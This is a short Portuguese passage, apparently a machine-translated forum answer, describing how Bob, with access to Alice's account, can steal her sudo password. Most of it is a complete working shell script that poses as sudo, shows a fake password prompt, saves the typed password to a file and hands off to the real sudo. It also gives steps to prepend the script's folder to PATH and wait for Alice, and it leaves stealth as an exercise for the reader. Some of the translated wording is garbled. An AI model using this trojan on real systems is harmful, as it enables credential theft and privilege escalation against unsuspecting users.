No passado, isso teria sido possível sem a ajuda de Alice, pois os tokens de sudo
eram válidos nas sessões de terminal: Bob poderia apenas esperar que Alice autenticasse com sudo
, então use sudo
sem precisar insira uma senha.
Mesmo com tokens por terminal, a obtenção da senha de Alice é relativamente fácil no cenário descrito aqui, contanto que Alice não verifique seu ambiente completamente o tempo todo:
-
usando a conta de Alice, crie
~/.bin/sudo
com algo como#!/bin/sh if [ $# = 0 ]; then exec /usr/bin/sudo; fi if [ ! -f ~/.bin/alices-password ]; then echo -n "[sudo] password for $USER: " read -s password echo echo ${password} > ~/.bin/alices-password sleep 2 echo "Sorry, try again." /usr/bin/sudo -k fi exec /usr/bin/sudo "$@"
-
adicione
~/.bin
ao caminho, no arquivo rc apropriado, dependendo de qual shell o Alice usa; - espere Alice usar
sudo
em um shell que percebeu a presença de~/.bin/sudo
...
Bob pode esperar que uma senha apareça em ~/.bin/alices-password
e tente ela mesma antes de desativar a variante especial (fazer isso de maneira discreta é deixado como um exercício para o leitor - lembre-se de que o shell armazena em cache caminhos ...) .
Existem algumas sutilezas no script acima, em particular sudo -k
, que garante que "Desculpe, tente novamente" será seguido por sudo
solicitando uma senha. O roteiro pode ser melhorado ainda mais, isso é outro exercício para o leitor!
Como você pode imaginar, essa não é a única abordagem ...